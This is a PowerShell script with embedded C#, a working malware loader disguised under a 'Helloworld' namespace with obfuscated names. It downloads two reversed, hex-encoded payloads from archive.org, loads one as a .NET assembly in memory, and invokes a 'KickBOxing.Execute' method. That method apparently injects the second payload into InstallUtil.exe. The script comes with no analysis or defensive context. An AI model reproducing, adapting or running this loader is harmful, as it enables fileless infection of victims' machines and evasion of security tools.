﻿$source=@"

using System;
using System.Net;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
namespace Helloworld
{
    public static class Hello{
    public static void Main(){


string aagdihelked = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe";
string reply = new WebClient().DownloadString("https://archive.org/download/runche/runche.txt");
Assembly azsmljvdkjlfv6546sd = AppDomain.CurrentDomain.Load(hehdhgjwwwcvlkjnl(ReverseString(reply)));


string remdy = new WebClient().DownloadString("https://archive.org/download/hexooo_202202/hexooo.txt");

byte[] clispojpdferf6546v = hehdhgjwwwcvlkjnl(ReverseString(remdy));

object lhlcvdqsklvjslvjlbvdk5454 = new object[]
			{
				aagdihelked,
				clispojpdferf6546v
			};
azsmljvdkjlfv6546sd.GetType("RikoVerhoven.KickBOxing").InvokeMember("Execute", BindingFlags.InvokeMethod, null, null, (object[])lhlcvdqsklvjslvjlbvdk5454);
        }
    public static byte[] hehdhgjwwwcvlkjnl(string hex)
    {
        if (string.IsNullOrEmpty(hex))
            return null;
        byte[] returnbytes = new byte[hex.Length / 2];
        for (int i = 0; i < returnbytes.Length; i++)
            returnbytes[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
        return returnbytes;
    }
public static string ReverseString(string s)
        {
            char[] arr = s.ToCharArray();
            Array.Reverse(arr);
            return new string(arr);

        }

    }
}

"@

Add-Type  -TypeDefinition $source -Language CSharp
[HelloWorld.Hello]::Main()